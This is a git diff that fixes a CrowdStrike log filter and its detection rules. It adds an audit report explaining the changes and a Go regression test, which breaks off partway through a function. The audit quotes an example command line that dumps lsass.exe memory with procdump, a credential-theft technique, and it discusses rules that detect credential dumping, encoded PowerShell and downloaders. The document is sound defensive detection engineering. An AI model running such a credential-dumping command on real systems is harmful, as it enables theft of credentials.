diff --git a/filters/audits/crowdstrike.md b/filters/audits/crowdstrike.md new file mode 100644 index 000000000..70aec7fde --- /dev/null +++ b/filters/audits/crowdstrike.md @@ -0,0 +1,200 @@ +# CrowdStrike v11 filter and rule review + +The CrowdStrike filter (`filters/crowdstrike/crowdstrike.yml`) damaged quoted command lines and +carried three renames that could never run. Five of the seventeen CrowdStrike rules tested a +field that this integration can never deliver, so they could never fire, and eight rules grouped +or deduplicated their alerts by fields that do not exist on an alert. This change removes the +two damaging trim steps and the three dead renames, drops the impossible test from the five +rules, and moves the eight grouping and deduplication keys to the alert's `adversary` fields. +Everything else is unchanged and listed under "Deferred". The schema is ThreatWinds go-sdk +**v1.1.36**, as pinned by `plugins/alerts/go.mod`. + +## Evidence basis + +- **Genuine records, reviewed privately.** Of the 31 v11 instances, 29 could be searched and + one, a pre-release instance, holds CrowdStrike data: the Falcon event stream of one Falcon + account, retained since 2026-09-21 (about 1,170 records when read on 2026-09-24). It holds + four event types: `APIActivityAuditEvent` (API calls), `AuditLogV3Event` (a second, nested copy + of each audit record), `UserActivityAuditEvent` and `AuthActivityAuditEvent`. It holds no + detection summary, incident, real-time response, custom indicator or process record, so the + detection half of the filter and eight of the rules have never received real input. An older + index of the same instance, since removed, held two console sign-in records that the related + outcome review (draft #2680) read. The records were only read. A private set of + 63 of them was replayed locally; none of them, their addresses, identifiers or names is in + this repository. Every committed input is fabricated. +- **Vendor documentation was not available.** The field reference for the event stream is in the + Falcon console documentation, which needs a login on a host outside the allowed list, and the + public pages that used to describe the SIEM integration now redirect to a general landing page. + No field name, value, operation name or severity scale could be checked against CrowdStrike. + Every change below rests on code and records; everything that needs CrowdStrike's definitions + is deferred. +- **What the corrections rest on.** + - *the producer*: this repository's `plugins/crowdstrike/main.go` (`processEvent`) forwards + each event-stream record unchanged as `raw`, so the filter's `json` step only ever sees the + top-level keys `metadata` and `event`; + - *the engine*: the public EventProcessor at commit `8a3ade72bd9d12db21f6b273200588fb49540f14`. + Its [trim plugin](https://github.com/utmstack/EventProcessor/blob/8a3ade72bd9d12db21f6b273200588fb49540f14/plugins/trim/main.go) + removes surrounding spaces and then one copy of the prefix or suffix; + its [rename plugin](https://github.com/utmstack/EventProcessor/blob/8a3ade72bd9d12db21f6b273200588fb49540f14/plugins/rename/main.go) + moves a value and deletes the source; + its [CEL plugin](https://github.com/utmstack/EventProcessor/blob/8a3ade72bd9d12db21f6b273200588fb49540f14/plugins/cel/main.go) + (`generateAlert`) builds the alert with the event's `origin` as `adversary` for rules with + `adversary: origin`, and an alert has no `origin` field; + - *the alerts plugin*: `plugins/alerts/grouping.go` resolves `groupBy` and `deduplicateBy` keys + on the alert and skips keys it cannot resolve; `main.go` uses the same keys for grouping and + for its 7-day duplicate search; + - *the SDK*: go-sdk v1.1.36 `plugins/plugins.proto` (the `Alert` and `Side` messages) and its + CEL helpers, which return false for a missing field. + +## Filter changes + +The version comment on line 1 stays at **1.2.0** on purpose. Draft #2680 changes the same line +to 1.3.0; leaving it alone keeps the two drafts free of conflicts. Whichever draft merges second +should take the next version. + +| Change | Why | Basis | Proof | +|---|---|---|---| +| F1: delete the two `trim` steps that remove a double quote from the start and from the end of `log.eventCommandLine` (lines 620-631 before this change). The `[{` and `}]` trims stay. | Each step removes one quote after trimming spaces, so a Windows command line that starts with a quoted program path or ends with a quoted argument lost one quote of a pair: `"C:\Tools\procdump64.exe" -accepteula -ma lsass.exe "C:\Temp\lsass.dmp"` was stored as `C:\Tools\procdump64.exe" -accepteula -ma lsass.exe "C:\Temp\lsass.dmp`. The stored text no longer matched what ran, and three rules group alerts by it. The parent and grandparent command lines were never trimmed. | Engine | Playground: the original filter altered 7 of 8 fabricated text command lines, 5 of them left with an odd number of quotes; the corrected filter keeps all 8 as sent, apart from surrounding spaces, which the two remaining trims still remove. A command line sent as a list is stored exactly as before. 63 of 63 genuine records are identical before and after. | +| F2: delete the second rename of `log.event.Attributes.trace_id`, `log.event.ServiceName` and `log.event.Message` (lines 112-116, 217-221 and 267-271 before this change). | Each repeats an earlier rename with the same source and target. The first one moves the value and nothing in between recreates the source, so the second one never finds anything. | Filter order, engine | Playground: 63 of 63 genuine records identical; the trace ID (26 genuine records), service name (38) and message (30) are unchanged. | + +## Rule changes + +Names, descriptions, conditions other than the removed test, impact, thresholds, windows, history +searches and MITRE labels are unchanged. None of the 17 rule files carries a version comment, so +no rule version changes. + +| Rules | Change | Why | Basis | +|---|---|---|---| +| `inhibit_system_recovery`, `os_credential_dumping_activity`, `suspicious_encoded_powershell_execution`, `suspicious_native_downloaders`, `windows_event_log_clearing` | Delete `equals("log.event_simpleName", "ProcessRollup2") &&` (line 15). | `event_simpleName` is a Falcon Data Replicator field. This integration forwards only the event stream, whose records have the top-level keys `metadata` and `event`, and no filter step writes that field, so the condition could never be true and the five rules never fired. They now fire on a detection summary whose command line matches their pattern. | Producer, filter, genuine records (the field exists in none of them) | +| The three rules above that grouped by `origin.host` and `origin.user` (`inhibit_system_recovery`, `os_credential_dumping_activity`, `windows_event_log_clearing`), and `suspicious_encoded_powershell_execution`, `suspicious_native_downloaders`, `suspicious_downloader_execution_linux_macos`, `security_defenses_impaired_or_policy_disabled` | `groupBy`: `origin.host` becomes `adversary.host`, `origin.user` becomes `adversary.user`. | An alert has no `origin`, so these keys were always skipped. The first three never grouped at all; the other four grouped only by their `lastEvent` key, which merged alerts from different hosts that shared a command line or a disposition text. | Engine, alerts plugin, SDK | +| `multiple_authentication_failures_(possible_brute_force_attack)` | `deduplicateBy`: `origin.ip` becomes `adversary.ip` (line 30). | For the same reason no alert was ever deduplicated: once an address reached five failures in 15 minutes, every further failure raised another alert. Now repeats from the same address within the plugin's 7-day search are dropped. The condition and history search are unchanged. | Engine, alerts plugin, SDK | + +A detection summary can now raise the general detection alert and one or more of these specific +alerts at the same time (D11). + +## Validation + +**Engine and versions.** EventProcessor `8a3ade72bd9d12db21f6b273200588fb49540f14`, the same +source revision as the newest published engine image at the time of testing +(`ghcr.io/utmstack/utmstack/eventprocessor:v11.2.14` on `ghcr.io/utmstack/eventprocessor/base:1.1.7`). +The local binaries were compiled from that revision for darwin/arm64 with go1.25.7; every +parser, writer and CEL plugin links go-sdk v1.1.36, and the geolocation plugin, built from this +repository, links v1.1.34 and read fabricated location data. Rule conditions were also replayed +with go-sdk v1.1.36. + +**Filter runs** (playground, file input, no rules): 79 records, the 63 genuine ones and 16 +fabricated, each run in a fresh working directory. + +| Run | Result | +|---|---| +| Original and corrected filter | 79 of 79 events each, no errors. 63 of 63 genuine records identical. The only differing field is `log.eventCommandLine`, on 7 fabricated detection summaries. | +| Both filters with #2680 applied | The three-way merge of this filter with #2680's has no conflict. 79 of 79 events each, no errors. The two differ only in `log.eventCommandLine` of the same 7 fabricated records; no genuine record differs. | + +**Rule runs** (playground with the CEL plugin and the alert writer, and an OpenSearch address +where nothing listens): 116 records, the 63 genuine ones and 53 fabricated positives and near +misses, under the original, the corrected and the corrected-plus-#2680 filter. + +| Check | Result | +|---|---| +| Original rules | 42 local alerts under each filter; the five command-line rules raise none. | +| Corrected rules | 56 local alerts under each filter. The five command-line rules alert on exactly the 14 fabricated positives (4 shadow-copy or recovery, 2 credential dumping, 1 encoded PowerShell, 5 downloaders, 2 log clearing), on none of the 6 near misses and on no genuine record. The other 12 rules raise the same alerts as with the original rules. | +| Errors | No condition error, no missing history value and no Circuit Breaker. The only rule errors are brute-force history searches, one per run (three with #2680's filter, which gives two more fabricated sign-in failures an address), each refused because no OpenSearch runs. The history search is reached but not tested here. | +| go-sdk v1.1.36 replay of all 17 rules on every event | Original rules: 0 matches for the five command-line rules. Corrected rules: 4, 2, 1, 5 and 2 matches. No genuine record matches any rule, in the rule runs or in the four filter runs. | +| `grouping.go` on every local alert | The corrected keys resolve on all 65 alerts of the seven regrouped rules. One fabricated record has no user name and groups by host only, as intended. The original keys resolve on none of those alerts for the three host-and-user rules and reduce to the `lastEvent` key for the other four. | +| Brute-force history, go-sdk v1.1.36 `SearchRequest.Execute` against a local mock | The same for the original and the corrected rule: 4 earlier failures give no alert, 5 give an alert, 5 older than 15 minutes or from another address give none; a record without `origin.ip` stops with a placeholder error before any query. Only `adversary.ip` gives a usable deduplication key. | + +**Fabricated regression, committed.** `plugins/alerts/testdata/crowdstrike-review/raw.json` holds +18 invented event-stream records: 15 detection summaries with quoted, spaced and list-shaped +command lines (a positive and a near miss for each command-line rule), an API record and two +sign-in failures. Addresses are RFC 5737 documentation addresses, MAC addresses RFC 7042 +documentation addresses, names are examples and every customer and client identifier is zero. +The records carry no `UserIp` and no case checks `actionResult`, because both belong to #2680. + +**Go tests.** `plugins/alerts/crowdstrike_review_test.go` runs the records through a model of the +engine's step plugins, with every `where` clause evaluated by go-sdk v1.1.36, and checks that +command lines are stored as sent; that no unconditional rename repeats an earlier one; that +each record matches exactly its listed rules and every field a rule reads is one the filter +writes; and that every `groupBy` and `deduplicateBy` key is an alert field that resolves through +`grouping.go` on the alert the CEL plugin would build. All four tests fail on the original filter +and rules. The model gave the same fields as the playground on every record tried: the 18 +committed records, and the 116 and 79 private records under each filter (timestamps, tenant, +data source, raw text and geolocation excluded). On the 18 committed records the playground raised +exactly the 26 alerts the test expects, plus one refused brute-force history search. The full +`plugins/alerts` suite passes: 47 tests pass and the same 11 tests that need other +technologies' private evidence skip, as on the base commit (43 pass, 11 skip). With #2680 +merged in a separate checkout, 49 pass and the same 11 skip: both CrowdStrike test files +compile together and both of #2680's tests pass with the corrected brute-force rule. + +**Static checks.** The repository's contract test over all CrowdStrike files fails 8 of 18 on the +base commit (the rules with `origin.*` keys) and passes 18 of 18 here. The review tooling's +contract check goes from 13 errors to 2; the two left are the `failed` outcome values that +#2680 replaces. + +## Relationship with draft #2680 + +Draft #2680 corrects the outcome values (`actionResult`) and maps the console sign-in address +(`UserIp`) to `origin.ip`. This change touches none of its lines: not the version comment, not +the new rename after the `LocalIP` step, not the outcome block and not the delete list. #2680 +changes no rule file. The filter changes merge without conflict, the two test files use +different names, and the combined result is covered by the runs above. With the unchanged filter +a sign-in failure that carries its address only in `UserIp` gets no `origin.ip`, so the +brute-force rule can only start from such records once #2680 is merged; its deduplication key +here is correct either way. + +## Deferred + +Each item needs CrowdStrike's documentation, records that have not arrived or an owner decision, +and is unchanged here. + +| Id | What | What would unblock it | +|---|---|---| +| D1 | `AuditLogV3Event`: every audit record arrives twice, once in the legacy shape and once as a nested V3 copy that no step maps, so the copies get no standard field. Choose one copy per event: drop, pass through or map. | A CrowdStrike statement on retiring the legacy audit events, or records showing they stop; decide with #2680 and D12. | +| D2 | Identities: `UserId` to `origin.user`, `target_name`/`action_target_name` to `target.user`, and the API client identity. | CrowdStrike's field list or real user-management records; ship with the six rules that group by `lastEvent.log.eventUserId`. | +| D3 | Detection summaries: `origin.command`, `severity` and `origin.process`. | CrowdStrike's severity scale and detection field list, or real detections; ship `origin.command` with the six command-line rules. | +| D4 | The `[{` and `}]` command-line trims. | A real detection or documentation showing whether `CommandLine` can be a list of objects. | +| D5 | The `scope(s)` rename never matches (`scopes` in API records, `scope` in V3 copies). | A decision; no rule reads it. | +| D6 | `SourceIp` and `LocalIP` are both renamed unconditionally into `origin.ip`. | A real record with both, or documentation. | +| D7 | The delete of `log.statusCode` does nothing. | Nothing; left beside #2680's delete entry. | +| D8 | `Lin` or `Linux` as the Linux platform value in `suspicious_downloader_execution_linux_macos`. | Documentation or a real Linux detection; the native-downloader rule already covers curl and wget over HTTP on any platform. | +| D9 | The meaning of `PatternDispositionFlags.PolicyDisabled` and of the disposition value list in `security_defenses_impaired_or_policy_disabled`. | CrowdStrike's definitions: a detect-only detection might otherwise be raised as high-impact tampering. | +| D10 | The log-clearing pattern misses `wevtutil.exe cl`. | A real command line, or a small follow-up. | +| D11 | The general detection rule fires on every severity although it says "critical", and overlaps with the specific rules. | CrowdStrike's severity scale or real detections. | +| D12 | The brute-force history counts any CrowdStrike record from the address with `Success=false`, and it would count each failure twice if the V3 copies were ever normalized: three real failures would then reach the threshold of five. No effect today, because the copies stay unparsed. | Change together with D1 and #2680's history test, which checks the current search terms. | +| D13 | MITRE ATT&CK v19: four rules cite revoked techniques (T1070.001 and T1562.001/007) and the removed "Defense Evasion" tactic name, and six labels do not describe their conditions. | One fleet-wide relabel: 66 rule files cite a T1562 sub-technique, 3 cite T1070.001, 132 use "Defense Evasion", and the backend seed data repeats the labels. | +| D14 | Console operation names and event types that the rules expect but no record has shown. | Documentation or real records. | +| D15 | The CrowdStrike plugin skips events created while it is down or reconnecting (offsets are kept in memory only), and `deviceTime` is the receive time. | The plugin owners: persist stream offsets and resume from them. | +| D16 | A failing API client (see the operational note). | Operations. | +| D17 | The filter header cites a third-party page, not CrowdStrike. | A reachable vendor reference. | +| D18 | The log-clearing rule's name and description speak of raw process telemetry, which this integration never delivers. | A text follow-up; keep the alert name unless saved searches are migrated. | +| D19 | `action` for records without an HTTP method; `request_host` and `request_path` left nested. | A naming decision; no rule reads them. | + +## Operational note + +The audit stream shows a second API client, not the collector of the instance that receives the +data, that has failed every stream-refresh call in the retained data since 2026-09-21 (189 calls, +all answered with HTTP 404) while still obtaining access tokens. That is a configuration fault +at its source, not a filter problem. Its owner should be identified and the client fixed or +revoked. A rule for it would need CrowdStrike's meaning of those answers and grouping by client. + +## Known limits + +- No detection, incident, real-time response, custom indicator or failed sign-in record has + reached any instance. The command-line, grouping and deduplication behavior rests on fabricated + records. +- The playground's alert writer only records alerts. Production indexing, grouping, + deduplication and notifications were not exercised; the grouping and deduplication keys were + checked with this plugin's code on the local alerts. +- History searches were not executed against OpenSearch. The brute-force threshold, window and + terms are unchanged and were checked only against a local mock. +- CrowdStrike's documentation could not be read, so field names and values are those of the + code and of one customer account's records. +- The Go test models the engine's step plugins and skips the geolocation step. It agreed with + the playground on every record tried, but only the playground runs the engine. + +## Reproduce + +From this checkout: `(cd plugins/alerts && go test ./... -count=1)`, or +`go test -run TestCrowdStrikeReview -v .` inside `plugins/alerts` for the four tests above. +The engine runs used private records and are not reproducible from the repository; the 18 +committed records can be staged in the EventProcessor playground with this filter and these +rules to repeat the committed part. diff --git a/filters/crowdstrike/crowdstrike.yml b/filters/crowdstrike/crowdstrike.yml index 560140d6e..ed94b621c 100644 --- a/filters/crowdstrike/crowdstrike.yml +++ b/filters/crowdstrike/crowdstrike.yml @@ -109,11 +109,6 @@ pipeline: - log.event.Attributes.sub_component_3 to: log.eventAttributesSubComponent3 - - rename: - from: - - log.event.Attributes.trace_id - to: log.eventAttributesTraceID - - rename: from: - log.event.Attributes.user_agent @@ -214,11 +209,6 @@ pipeline: - log.event.Source to: log.eventSource - - rename: - from: - - log.event.ServiceName - to: log.eventServiceName - - rename: from: - log.event.SourceIp @@ -264,11 +254,6 @@ pipeline: - log.metadata.version to: log.metadataVersion - - rename: - from: - - log.event.Message - to: log.eventMessage - - rename: from: - log.event.AgentId @@ -617,18 +602,6 @@ pipeline: # .......................................................................# # Remove inecesarie caracters # .......................................................................# - - trim: - function: prefix - substring: '"' - fields: - - log.eventCommandLine - - - trim: - function: suffix - substring: '"' - fields: - - log.eventCommandLine - - trim: function: prefix substring: '[{' diff --git a/plugins/alerts/crowdstrike_review_test.go b/plugins/alerts/crowdstrike_review_test.go new file mode 100644 index 000000000..c6a4a8530 --- /dev/null +++ b/plugins/alerts/crowdstrike_review_test.go @@ -0,0 +1,652 @@ +package main + +// Regression checks for the CrowdStrike review corrections in filters/crowdstrike/crowdstrike.yml +// and rules/crowdstrike. +// +// Every input in testdata/crowdstrike-review/raw.json is a fabricated Falcon event-stream record: +// documentation addresses (RFC 5737), example names and all-zero identifiers. The records carry no +// UserIp and no case asserts actionResult, because the sign-in address mapping and the outcome +// values belong to a separate change. +// +// csReviewNormalize models how EventProcessor 8a3ade7 runs this filter: the json, rename, trim, +// cast, add and delete step plugins (plugins//main.go) and drop, with every where clause +// evaluated by this module's go-sdk CEL and a failed step leaving the event unchanged, followed by +// the Event conversion the engine does before analysis. Step kinds it does not model fail the +// test instead of being skipped. The geolocation step is a separate enrichment plugin and is not +// modeled, so origin.geolocation is never asserted. Rule conditions are evaluated on the resulting +// Event as the CEL plugin does, and each alert is built as the CEL plugin's generateAlert builds +// it, so grouping and deduplication keys are resolved by this plugin's grouping.go. + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "fmt" + "net" + "os" + "path/filepath" + "reflect" + "regexp" + "slices" + "sort" + "strings" + "testing" + + sdkos "github.com/threatwinds/go-sdk/os" + "github.com/threatwinds/go-sdk/plugins" + "github.com/threatwinds/go-sdk/utils" + "github.com/tidwall/gjson" + "google.golang.org/protobuf/encoding/protojson" +) + +const ( + csReviewFilterFile = "../../filters/crowdstrike/crowdstrike.yml" + csReviewRuleDir = "../../rules/crowdstrike" + csReviewCaseFile = "testdata/crowdstrike-review/raw.json" +) + +type csReviewCase struct { + Name string `json:"name"` + Purpose string `json:"purpose"` + Raw json.RawMessage `json:"raw"` + Expected map[string]any `json:"expected"` + Absent []string `json:"absent"` + Rules []string `json:"rules"` + MissingIdentity []string `json:"missingIdentity"` +} + +type csReviewEvent struct { + csReviewCase + rawText string + event *plugins.Event + eventJSON string +} + +var ( + csReviewIPv4 = regexp.MustCompile(`\b\d{1,3}(?:\.\d{1,3}){3}\b`) + csReviewFieldArgument = regexp.MustCompile(`\b(?:equals|equalsIgnoreCase|exists|oneOf|contains|containsAll|startsWith|endsWith|regexMatch|inCIDR|greaterThan|lessThan|greaterOrEqual|lessOrEqual)\(\s*"([^"]+)"`) +) + +func csReviewCases(t *testing.T) []csReviewCase { + t.Helper() + data, err := os.ReadFile(csReviewCaseFile) + if err != nil { + t.Fatal(err) + } + var file struct { + Cases []csReviewCase `json:"cases"` + } + if err := json.Unmarshal(data, &file); err != nil { + t.Fatal(err) + } + var documentation []*net.IPNet + for _, cidr := range []string{"192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24"} { + _, network, _ := net.ParseCIDR(cidr) + documentation = append(documentation, network) + } + seen := map[string]bool{} + for _, c := range file.Cases { + if c.Name == "" || seen[c.Name] { + t.Fatalf("missing or repeated case name %q", c.Name) + } + seen[c.Name] = true + for _, address := range csReviewIPv4.FindAllString(string(c.Raw), -1) { + ip := net.ParseIP(address) + if ip == nil || !slices.ContainsFunc(documentation, func(n *net.IPNet) bool { return n.Contains(ip) }) { + t.Fatalf("%s: %s is not a documentation address", c.Name, address) + } + } + if gjson.GetBytes(c.Raw, "event.UserIp").Exists() { + t.Fatalf("%s: UserIp belongs to the separate sign-in address change", c.Name) + } + if _, ok := c.Expected["actionResult"]; ok { + t.Fatalf("%s: actionResult belongs to the separate outcome change", c.Name) + } + } + if len(file.Cases) < 10 { + t.Fatalf("only %d cases", len(file.Cases)) + } + return file.Cases +} + +func csReviewFilter(t *testing.T) *plugins.Config { + t.Helper() + b, err := utils.ReadPbYaml(csReviewFilterFile) + if err != nil { + t.Fatal(err) + } + cfg := new(plugins.Config) + if err := protojson.Unmarshal(b, cfg); err != nil { + t.Fatal(err) + } + return cfg +} + +func csReviewRules(t *testing.T) map[string]*plugins.Rule { + t.Helper() + rules := map[string]*plugins.Rule{} + for _, pattern := range []string{"*.yml", "*.yaml"} { + paths, err := filepath.Glob(filepath.Join(csReviewRuleDir, pattern)) + if err != nil { + t.Fatal(err) + } + for _, path := range paths { + b, err := utils.ReadPbYaml(path) + if err != nil { + t.Fatal(err) + } + rule := new(plugins.Rule) + if err := protojson.Unmarshal(b, rule); err != nil { + t.Fatalf("%s: %v", path, err) + } + rule.Normalize() + if !slices.Contains(rule.DataTypes, "crowdstrike") { + t.Fatalf("%s: not a crowdstrike rule", path) + } + rules[filepath.Base(path)] = rule + } + } + if len(rules) == 0 { + t.Fatal("no CrowdStrike rules") + } + return rules +} + +func csReviewSet(m map[string]any, path string, value any) { + parts := strings.Split(path, ".") + for _, key := range parts[:len(parts)-1] { + next, ok := m[key].(map[string]any) + if !ok { + next = map[string]any{} + m[key] = next + } + m = next + } + m[parts[len(parts)-1]] = value +} + +func csReviewDelete(m map[string]any, path string) { + parts := strings.Split(path, ".") + for _, key := range parts[:len(parts)-1] { + next, ok := m[key].(map[string]any) + if !ok { + return + } + m = next + } + delete(m, parts[len(parts)-1]) +} + +// csReviewNormalize returns the Event the engine would hand to analysis and the step errors it +// would store on it, or a nil Event when a drop step matched. The error result is a model limit. +func csReviewNormalize(cfg *plugins.Config, cache *plugins.CELCache, id, raw string) (*plugins.Event, []string, error) { + envelope := &plugins.Log{Id: id, DataType: "crowdstrike", DataSource: "synthetic-crowdstrike", + Timestamp: "2026-09-24T12:00:00Z", TenantId: "00000000-0000-4000-8000-000000000001", Raw: raw} + start, err := utils.ProtoMessageToString(envelope) + if err != nil { + return nil, nil, err + } + var draft map[string]any + if err := json.Unmarshal([]byte(*start), &draft); err != nil { + return nil, nil, err + } + text := func() string { + b, err := json.Marshal(draft) + if err != nil { + panic(err) + } + return string(b) + } + var stepErrors []string + where := func(expression string) bool { + if expression == "" { + return true + } + current := text() + matched, err := cache.Evaluate(¤t, expression) + if err != nil { + stepErrors = append(stepErrors, fmt.Sprintf("where %s: %v", expression, err)) + } + return matched + } + for _, stage := range cfg.Pipeline { + if !slices.Contains(stage.DataTypes, envelope.DataType) { + continue + } + for i, step := range stage.Steps { + before := text() + var failure error + switch { + case step.Json != nil: + if !where(step.Json.Where) { + continue + } + source := gjson.Get(before, step.Json.Source) + if !source.Exists() { + failure = errors.New("source was not found") + break + } + var pairs map[string]any + if failure = json.Unmarshal([]byte(source.String()), &pairs); failure != nil { + break + } + for key, value := range pairs { + utils.SanitizeField(&key) + csReviewSet(draft, "log."+key, value) + } + case step.Rename != nil: + if !where(step.Rename.Where) { + continue + } + to := step.Rename.To + utils.SanitizeField(&to) + failure = utils.ValidateReservedField(to, false) + for _, from := range step.Rename.From { + if failure != nil { + break + } + if failure = utils.ValidateReservedField(from, false); failure != nil { + break + } + value := gjson.Get(text(), from) + if !value.Exists() { + continue + } + csReviewSet(draft, to, utils.GetValueOf(value)) + csReviewDelete(draft, from) + } + case step.Trim != nil: + if !where(step.Trim.Where) { + continue + } + for _, field := range step.Trim.Fields { + if failure = utils.ValidateReservedField(field, false); failure != nil { + break + } + value := gjson.Get(text(), field) + if !value.Exists() || value.String() == "" { + continue + } + trimmed := strings.TrimSpace(value.String()) + switch step.Trim.Function { + case "prefix": + trimmed = strings.TrimPrefix(trimmed, step.Trim.Substring) + case "suffix": + trimmed = strings.TrimSuffix(trimmed, step.Trim.Substring) + case "substring": + trimmed = strings.ReplaceAll(trimmed, step.Trim.Substring, "") + case "regex": + pattern, err := regexp.Compile(step.Trim.Substring) + if err != nil { + failure = err + break + } + matches := pattern.FindAllString(trimmed, -1) + if len(matches) == 0 { + continue + } + for _, match := range matches { + trimmed = strings.ReplaceAll(trimmed, match, "") + } + } + if failure != nil { + break + } + csReviewSet(draft, field, strings.TrimSpace(trimmed)) + } + case step.Cast != nil: + if !where(step.Cast.Where) { + continue + } + for _, field := range step.Cast.Fields { + if failure = utils.ValidateReservedField(field, false); failure != nil { + break + } + value := gjson.Get(text(), field) + if !value.Exists() { + continue + } + switch step.Cast.To { + case "string": + csReviewSet(draft, field, utils.CastString(value.Value())) + case "int": + csReviewSet(draft, field, utils.CastInt64(value.Value())) + case "float": + csReviewSet(draft, field, utils.CastFloat64(value.Value())) + case "bool": + csReviewSet(draft, field, utils.CastBool(value.Value())) + case "[]string": + return nil, stepErrors, fmt.Errorf("step %d: cast to []string is not modeled", i) + default: + failure = fmt.Errorf("unsupported cast type %q", step.Cast.To) + } + if failure != nil { + break + } + } + case step.Add != nil: + if !where(step.Add.Where) { + continue + } + if step.Add.Function != "string" { + failure = fmt.Errorf("function %q not supported", step.Add.Function) + break + } + key, hasKey := step.Add.Params["key"] + value, hasValue := step.Add.Params["value"] + if !hasKey || !hasValue { + failure = errors.New("missing required parameter") + break + } + name := key.GetStringValue() + utils.SanitizeField(&name) + if failure = utils.ValidateReservedField(name, false); failure == nil { + csReviewSet(draft, name, value.GetStringValue()) + } + case step.Delete != nil: + if !where(step.Delete.Where) { + continue + } + for _, field := range step.Delete.Fields { + if failure = utils.ValidateReservedField(field, false); failure != nil { + break + } + if gjson.Get(text(), field).Exists() { + csReviewDelete(draft, field) + } + } + case step.Dynamic != nil: + // Enrichment (geolocation) is a separate plugin: evaluate its condition only. + where(step.Dynamic.Where) + continue + case step.Drop != nil: + if step.Drop.Where == "" { + stepErrors = append(stepErrors, "drop operation requires where clause") + continue + } + if where(step.Drop.Where) { + return nil, stepErrors, nil + } + continue + default: + return nil, stepErrors, fmt.Errorf("step %d: step kind not modeled", i) + } + if failure != nil { + stepErrors = append(stepErrors, fmt.Sprintf("step %d: %v", i, failure)) + draft = nil + if err := json.Unmarshal([]byte(before), &draft); err != nil { + return nil, stepErrors, err + } + } + } + } + final := text() + event := new(plugins.Event) + if err := utils.StringToProtoMessage(&final, event); err != nil { + return nil, stepErrors, err + } + if event.DeviceTime == "" { + event.DeviceTime = event.Timestamp + } + event.Errors = append(event.Errors, stepErrors...) + return event, stepErrors, nil +} + +func csReviewEvents(t *testing.T) []csReviewEvent { + t.Helper() + cfg, cache := csReviewFilter(t), plugins.NewCELCache("crowdstrike-review-filter") + var out []csReviewEvent + for _, c := range csReviewCases(t) { + var compact bytes.Buffer + if err := json.Compact(&compact, c.Raw); err != nil { + t.Fatalf("%s: %v", c.Name, err) + } + event, stepErrors, err := csReviewNormalize(cfg, cache, "cs-review-"+c.Name, compact.String()) + if err != nil { + t.Fatalf("%s: %v", c.Name, err) + } + if event == nil { + t.Fatalf("%s: dropped", c.Name) + } + if len(stepErrors) != 0 { + t.Fatalf("%s: step errors %v", c.Name, stepErrors) + } + serialized, err := utils.ProtoMessageToString(event) + if err != nil { + t.Fatal(err) + } + out = append(out, csReviewEvent{csReviewCase: c, rawText: compact.String(), event: event, eventJSON: *serialized}) + } + return out +} + +// Command lines are stored as sent, apart from surrounding spaces. The two double-quote trims +// removed one quote from each end, which left quoted Windows paths and arguments unbalanced. +// The other fields check that the three removed renames were repeats: their values still arrive +// once, under the same names. +func TestCrowdStrikeReviewNormalizedFields(t *testing.T) { + commandLines := 0 + for _, e := range csReviewEvents(t) { + t.Run(e.Name, func(t *testing.T) { + for path, want := range e.Expected { + got := gjson.Get(e.eventJSON, path) + if !got.Exists() || !reflect.DeepEqual(got.Value(), want) { + t.Errorf("%s = %s, want %v", path, got.Raw, want) + } + } + for _, path := range e.Absent { + if gjson.Get(e.eventJSON, path).Exists() { + t.Errorf("%s should be absent", path) + } + } + sent := gjson.Get(e.rawText, "event.CommandLine") + if sent.Type != gjson.String { + return + } + commandLines++ + stored := gjson.Get(e.eventJSON, "log.eventCommandLine").String() + if want := strings.TrimSpace(sent.String()); stored != want { + t.Errorf("command line %q, sent as %q", stored, want) + } + }) + } + if commandLines < 10 { + t.Fatalf("only %d text command lines", commandLines) + } +} + +// An unconditional rename with the same source and target as an earlier one can never find +// its source again: the earlier step already moved it. +func TestCrowdStrikeReviewRenamesNotRepeated(t *testing.T) { + seen := map[string]int{} + for _, stage := range csReviewFilter(t).Pipeline { + for i, step := range stage.Steps { + if step.Rename == nil || step.Rename.Where != "" { + continue + } + key := strings.Join(step.Rename.From, ",") + " -> " + step.Rename.To + if first, ok := seen[key]; ok { + t.Errorf("step %d repeats step %d: %s", i, first, key) + continue + } + seen[key] = i + } + } +} + +// Rule conditions on the normalized fixtures give exactly the listed rules. Every field a rule +// reads, in its condition or its history search, must be one the filter writes: the CrowdStrike +// plugin sends only the event-stream keys metadata and event, so a name such as +// log.event_simpleName (Falcon Data Replicator) can never arrive. +func TestCrowdStrikeReviewRuleConditions(t *testing.T) { + cfg, rules := csReviewFilter(t), csReviewRules(t) + cache := plugins.NewCELCache("crowdstrike-review-rules") + written := map[string]bool{"dataType": true, "dataSource": true, "tenantId": true} + for _, stage := range cfg.Pipeline { + for _, step := range stage.Steps { + if s := step.Rename; s != nil { + to := s.To + utils.SanitizeField(&to) + written[to] = true + } + if s := step.Add; s != nil { + key := s.Params["key"].GetStringValue() + utils.SanitizeField(&key) + written[key] = true + } + } + } + for name, rule := range rules { + var read []string + for _, m := range csReviewFieldArgument.FindAllStringSubmatch(rule.Where, -1) { + read = append(read, m[1]) + } + var searches func([]*plugins.SearchRequest) + searches = func(list []*plugins.SearchRequest) { + for _, s := range list { + for _, x := range s.With { + read = append(read, x.Field) + if v := x.Value.GetStringValue(); strings.HasPrefix(v, "{{.") && strings.HasSuffix(v, "}}") { + read = append(read, strings.TrimSuffix(strings.TrimPrefix(v, "{{."), "}}")) + } + } + searches(s.Or) + } + } + searches(rule.Correlation) + if len(read) == 0 { + t.Errorf("%s: no field found in its condition", name) + } + for _, field := range read { + if !written[strings.TrimSuffix(field, ".keyword")] { + t.Errorf("%s reads %s, which the filter never writes", name, field) + } + } + } + for _, e := range csReviewEvents(t) { + t.Run(e.Name, func(t *testing.T) { + var matched []string + for name, rule := range rules { + ok, err := cache.Eval(rule.Where, e.event) + if err != nil { + t.Errorf("%s: %v", name, err) + } + if ok { + matched = append(matched, name) + } + } + sort.Strings(matched) + want := append([]string{}, e.Rules...) + sort.Strings(want) + if !reflect.DeepEqual(matched, want) && !(len(matched) == 0 && len(want) == 0) { + t.Errorf("matched %v, want %v", matched, want) + } + }) + } +} + +// groupBy and deduplicateBy name alert fields. An alert has no origin: the CEL plugin copies the +// event's origin into adversary (adversary: origin), and grouping.go skips keys it cannot resolve, +// so origin.* keys never group and never deduplicate. +func TestCrowdStrikeReviewAlertKeys(t *testing.T) { + rules := csReviewRules(t) + eventPaths, alertPaths := map[string]bool{}, map[string]bool{} + 